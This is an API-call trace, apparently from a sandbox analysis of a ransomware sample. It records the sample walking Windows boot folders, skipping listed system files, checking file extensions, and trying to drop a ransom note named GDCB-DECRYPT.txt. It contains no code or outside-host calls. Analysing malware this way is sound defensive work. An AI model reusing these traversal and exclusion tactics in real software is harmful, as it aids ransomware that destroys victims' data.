lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.483] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.483] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.483] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0169.483] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0169.483] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0169.483] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.483] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0169.483] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0169.483] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.483] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.483] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0169.483] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0169.483] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0169.483] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.483] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0169.483] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0169.483] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.484] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.484] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2=".") returned 1 [0169.484] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2="..") returned 1 [0169.484] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgunn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned="C:\\Boot\\Fonts\\malgunn_boot.ttf" [0169.484] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.484] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0169.484] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0169.484] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.484] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.484] lstrcmpW (lpString1="malgun_boot.ttf", lpString2=".") returned 1 [0169.484] lstrcmpW (lpString1="malgun_boot.ttf", lpString2="..") returned 1 [0169.484] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgun_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned="C:\\Boot\\Fonts\\malgun_boot.ttf" [0169.484] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.484] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0169.484] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0169.484] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.484] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.484] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2=".") returned 1 [0169.484] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2="..") returned 1 [0169.484] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryon_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned="C:\\Boot\\Fonts\\meiryon_boot.ttf" [0169.484] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.485] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0169.485] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0169.485] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.485] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.485] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2=".") returned 1 [0169.485] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2="..") returned 1 [0169.485] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryo_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned="C:\\Boot\\Fonts\\meiryo_boot.ttf" [0169.485] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.485] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0169.485] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0169.485] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.485] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.485] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2=".") returned 1 [0169.485] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2="..") returned 1 [0169.485] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned="C:\\Boot\\Fonts\\msjhn_boot.ttf" [0169.485] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.485] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0169.485] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0169.485] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.486] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.486] lstrcmpW (lpString1="msjh_boot.ttf", lpString2=".") returned 1 [0169.486] lstrcmpW (lpString1="msjh_boot.ttf", lpString2="..") returned 1 [0169.486] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned="C:\\Boot\\Fonts\\msjh_boot.ttf" [0169.486] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.486] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0169.486] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0169.486] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.486] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.486] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2=".") returned 1 [0169.486] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2="..") returned 1 [0169.486] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned="C:\\Boot\\Fonts\\msyhn_boot.ttf" [0169.486] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.486] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0169.486] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0169.486] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.486] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.486] lstrcmpW (lpString1="msyh_boot.ttf", lpString2=".") returned 1 [0169.486] lstrcmpW (lpString1="msyh_boot.ttf", lpString2="..") returned 1 [0169.486] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned="C:\\Boot\\Fonts\\msyh_boot.ttf" [0169.486] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.487] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0169.487] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0169.487] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.487] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.487] lstrcmpW (lpString1="segmono_boot.ttf", lpString2=".") returned 1 [0169.487] lstrcmpW (lpString1="segmono_boot.ttf", lpString2="..") returned 1 [0169.487] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segmono_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned="C:\\Boot\\Fonts\\segmono_boot.ttf" [0169.487] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.487] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0169.487] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0169.487] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.487] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.487] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2=".") returned 1 [0169.487] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2="..") returned 1 [0169.487] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoen_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned="C:\\Boot\\Fonts\\segoen_slboot.ttf" [0169.487] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.487] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0169.487] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0169.487] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.488] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.488] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2=".") returned 1 [0169.488] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2="..") returned 1 [0169.488] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoe_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned="C:\\Boot\\Fonts\\segoe_slboot.ttf" [0169.488] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.488] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0169.488] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0169.488] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.488] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.488] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0169.488] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0169.488] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0169.488] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.488] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0169.488] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0169.488] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.488] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.488] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.489] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.489] lstrcmpW (lpString1="fr-CA", lpString2=".") returned 1 [0169.489] lstrcmpW (lpString1="fr-CA", lpString2="..") returned 1 [0169.489] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-CA" | out: lpString1="C:\\Boot\\fr-CA") returned="C:\\Boot\\fr-CA" [0169.489] lstrcatW (in: lpString1="C:\\Boot\\fr-CA", lpString2="\\" | out: lpString1="C:\\Boot\\fr-CA\\") returned="C:\\Boot\\fr-CA\\" [0169.489] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.489] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.489] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.489] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.489] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.489] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.490] lstrlenW (lpString="C:\\Boot\\fr-CA\\") returned 14 [0169.490] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-CA\\*") returned="C:\\Boot\\fr-CA\\*" [0169.490] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4918 [0169.490] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.490] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.490] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.490] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.490] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.490] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.490] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.490] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned="C:\\Boot\\fr-CA\\bootmgr.exe.mui" [0169.490] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0169.490] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.490] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.490] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.490] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.490] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt" [0169.490] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0169.490] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.490] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.490] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.490] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.490] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fr-CA\\\\GDCB-DECRYPT.txt") returned 31 [0169.490] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fr-ca\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.491] GetLastError () returned 0x50 [0169.491] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.491] lstrlenW (lpString="C:\\Boot\\fr-CA\\") returned 14 [0169.491] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-CA\\*") returned="C:\\Boot\\fr-CA\\*" [0169.491] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a49d8 [0169.491] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.491] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.491] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.491] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.491] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.491] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.491] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.491] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned="C:\\Boot\\fr-CA\\bootmgr.exe.mui" [0169.491] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.491] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0169.491] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0169.491] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.491] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.491] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.491] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.491] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt" [0169.491] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.492] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0169.492] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0169.492] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0169.492] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.492] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.492] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.492] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.492] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.492] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.492] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0169.492] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0169.492] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-FR" | out: lpString1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0169.492] lstrcatW (in: lpString1="C:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="C:\\Boot\\fr-FR\\") returned="C:\\Boot\\fr-FR\\" [0169.492] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.492] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.492] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.492] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.492] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.492] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.492] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0169.493] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-FR\\*") returned="C:\\Boot\\fr-FR\\*" [0169.493] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a49d8 [0169.493] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.493] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.493] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.493] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.493] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.493] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.493] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.493] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0169.493] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0169.493] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.493] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.493] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.493] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.493] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt" [0169.493] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0169.493] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.493] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.493] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.493] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.493] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned="C:\\Boot\\fr-FR\\memtest.exe.mui" [0169.493] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0169.493] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.493] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.493] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.493] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.493] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fr-FR\\\\GDCB-DECRYPT.txt") returned 31 [0169.493] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fr-fr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.493] GetLastError () returned 0x50 [0169.493] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.494] 